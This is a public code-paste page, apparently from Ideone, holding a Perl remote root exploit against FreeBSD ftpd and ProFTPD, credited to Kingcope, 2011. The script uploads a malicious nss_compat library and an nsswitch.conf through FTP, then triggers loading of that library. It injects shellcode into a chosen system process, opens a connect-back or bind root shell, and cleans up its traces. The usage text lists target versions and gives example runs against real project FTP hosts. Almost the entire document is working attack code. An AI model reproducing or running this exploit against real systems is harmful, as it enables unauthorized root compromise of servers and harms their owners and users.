fork download
copy 
  1. #FreeBSD ftpd and ProFTPD Remote Root Exploit
  2. #By Kingcope
  3. #Year 2011
  4. #the "roaringbeast" exploit
  5.  
  6. use Net::FTP;
  7.  
  8. sub usage {
  9. print "FreeBSD ftpd and ProFTPD Remote Root Exploit\nBy Kingcope\nYear 2011\nthe \"roaringbeast\" exploit\n\n";
  10. print "usage: perl roaringbeast.pl <target_version> <username> <password> <your_ip> <your_port> <freebsdftpd/proftpd> <process to inject> <target>\n";
  11. print "<<TARGETS>>\n0 FreeBSD-8.2,8.1,7.2,7.1 i386\n";
  12. print "1 FreeBSD-6.3 i386\n";
  13. print "2 FreeBSD-5.5,5.2 i386\n";
  14. print "3 FreeBSD-8.2 amd64\n";
  15. print "4 FreeBSD-7.3, 7.0 amd64\n";
  16. print "5 FreeBSD-6.4, 6.2 amd64\n";
  17. print "Process to inject shellcode can be:\n";
  18. print "inetd : good candidate for FreeBSD ftpd - dont use for amd64 targets (!)\n";
  19. print "syslogd : good candidate for ProFTPD\n";
  20. print "cron : good candidate for ProFTPD\n";
  21. print "sendmail : candidate for ProFTPD\n";
  22. print "be carefule: the process will crash after exploitation.\n";
  23. print "yourip not needed for amd64 targets, expl will spawn a root shell on port yourport\n\n";
  24. print "examples:\n";
  25. print "perl roaringbeast.pl 1 holy grail 222.222.222.222 443 freebsdftpd inetd ftp.freebsd.org\n";
  26. print "perl roaringbeast.pl 1 holy grail 222.222.222.222 443 proftpd syslogd ftp.proftpd.org\n";
  27. print "amd64: perl roaringbeast.pl 2 holy grail any 31337 proftpd syslogd ftp.proftpd.org\n";
  28. exit;
  29. }
  30.  
  31. if ($#ARGV != 7) {
  32. 	usage;
  33. }
  34.  
  35. $ver = $ARGV[0];
  36. $user = $ARGV[1];
  37. $pass = $ARGV[2];
  38. $ip = $ARGV[3];
  39. $port = $ARGV[4];
  40. $tgt = $ARGV[5];
  41. $inject = $ARGV[6];
  42. $target = $ARGV[7];
  43.  
  44. $|=1;
  45. if ($tgt ne "freebsdftpd" and $tgt ne "proftpd") {
  46. 	print "Please specify 'freebsdftpd' or 'proftpd' as 6th argumen.\n";
  47. 	exit;
  48. }
  49.  
  50. if ($tgt eq "freebsdftpd") {
  51. 	$tgt = "f";
  52. }
  53.  
  54. if ($tgt eq "proftpd") {
  55. 	$tgt = "p";
  56. }
  57.  
  58. $beast="";
  59.  
  60. $amd64 = false;
  61.  
  62. if ($ver eq "0") {
  63. 	$beast = "beast.so.1.0_FreeBSD8";
  64. }
  65.  
  66. if ($ver eq "1") {
  67. 	$beast = "beast.so.1.0_FreeBSD6";
  68. }
  69.  
  70. if ($ver eq "2") {
  71. 	$beast = "beast.so.1.0_FreeBSD5";
  72. }
  73.  
  74. if ($ver eq "3") {
  75. 	$beast = "beast.so.1.0_FreeBSD8,amd64";	
  76. 	$amd64 = true;
  77. }
  78.  
  79. if ($ver eq "4") {
  80. 	$beast = "beast.so.1.0_FreeBSD7,amd64";	
  81. 	$amd64 = true;
  82. }
  83.  
  84. if ($ver eq "5") {
  85. 	$beast = "beast.so.1.0_FreeBSD6,amd64";	
  86. 	$amd64 = true;
  87. }
  88.  
  89.  
  90. if ($beast eq "") {
  91. 	print "Specify a target.\n";
  92. 	exit; 
  93. }
  94.  
  95. print "Connecting to target ftp $target ...\n";
  96. $ftp = Net::FTP->new($target, Debug => 0)
  97.       or die "Cannot connect to $target: $@";
  98.  
  99. print "Logging into target ftp $target ...\n";
  100. $ftp->login($user,$pass)
  101.       or die "Cannot login ", $ftp->message;
  102.  
  103. print "Making /etc and /lib directories ...\n";
  104.  
  105. $ftp->rmdir("etc");
  106. $ftp->rmdir("lib");
  107. $ftp->mkdir("etc") or die "Cannot make directory ", $ftp->message;
  108. $ftp->mkdir("lib") or die "Cannot make directory ", $ftp->message;
  109.  
  110. print "Putting nsswitch.conf and beast.so.1.0\n";
  111. $ftp->binary();
  112. $ftp->put($beast, "lib/nss_compat.so.1") or die "Cannot put file into lib/", $ftp->message;
  113. $ftp->put("nsswitch.conf", "etc/nsswitch.conf") or die "Cannot put file into etc/", $ftp->message;
  114.  
  115. print "Putting configuration files\n";
  116. open FILE, ">rbc.conf";
  117. print FILE $ip;
  118. close FILE;
  119. open FILE, ">rbp.conf";
  120. print FILE $port;
  121. close FILE;
  122. open FILE, ">inj.conf";
  123. print FILE $inject;
  124. close FILE;
  125. open FILE, ">tgt.conf";
  126. print FILE $tgt;
  127. close FILE;
  128.  
  129. $ftp->put("rbc.conf", "etc/rbc.conf") or die "Cannot put conf file into etc/", $ftp->message;
  130. $ftp->put("rbp.conf", "etc/rbp.conf") or die "Cannot put conf file into etc/", $ftp->message;
  131. $ftp->put("inj.conf", "etc/trace.conf") or die "Cannot put conf file into etc/", $ftp->message;
  132. $ftp->put("tgt.conf", "etc/tgt.conf") or die "Cannot put conf file into etc/", $ftp->message;
  133.  
  134. unlink "rbc.conf";
  135. unlink "rbp.conf";
  136. unlink "inj.conf";
  137. unlink "tgt.conf";
  138.  
  139. print "TRIGGERING !!!\n";
  140. $ftp->quot("SITE CHMOD 777 nonexistant");
  141. $ftp->quot("STAT .");
  142.  
  143. $ftp->quot("QUIT");
  144.  
  145. sleep 2;
  146.  
  147. $ftp = Net::FTP->new($target, Debug => 0)
  148.       or exit;
  149.  
  150. print "Logging into target ftp $target ...\n";
  151. $ftp->login($user,$pass)
  152.       or die "Cannot login to remove files", $ftp->message;
  153.  
  154. print "Removing files\n";
  155. $ftp->delete("etc/rbc.conf");
  156. $ftp->delete("etc/rbp.conf");
  157. $ftp->delete("etc/tgt.conf");
  158. $ftp->delete("etc/inj.conf");
  159. $ftp->delete("etc/trace.conf");
  160. $ftp->delete("etc/nsswitch.conf");
  161. $ftp->rmdir("etc");
  162. $ftp->delete("lib/nss_compat.so.1");
  163. $ftp->rmdir("lib");
  164.  
  165. print "Done.\n";
  166.  
Success #stdin #stdout 0.27s 18056KB
comments (?)
stdin
copy 
Standard input is empty
stdout
copy 
FreeBSD ftpd and ProFTPD Remote Root Exploit
By Kingcope
Year 2011
the "roaringbeast" exploit

usage: perl roaringbeast.pl <target_version> <username> <password> <your_ip> <your_port> <freebsdftpd/proftpd> <process to inject> <target>
<<TARGETS>>
0 FreeBSD-8.2,8.1,7.2,7.1 i386
1 FreeBSD-6.3 i386
2 FreeBSD-5.5,5.2 i386
3 FreeBSD-8.2 amd64
4 FreeBSD-7.3, 7.0 amd64
5 FreeBSD-6.4, 6.2 amd64
Process to inject shellcode can be:
inetd : good candidate for FreeBSD ftpd - dont use for amd64 targets (!)
syslogd : good candidate for ProFTPD
cron : good candidate for ProFTPD
sendmail : candidate for ProFTPD
be carefule: the process will crash after exploitation.
yourip not needed for amd64 targets, expl will spawn a root shell on port yourport

examples:
perl roaringbeast.pl 1 holy grail 222.222.222.222 443 freebsdftpd inetd ftp.freebsd.org
perl roaringbeast.pl 1 holy grail 222.222.222.222 443 proftpd syslogd ftp.proftpd.org
amd64: perl roaringbeast.pl 2 holy grail any 31337 proftpd syslogd ftp.proftpd.org
https://ideone.com/fd2NKt
language:
Perl (perl 5.28.1)
created:
9 days ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!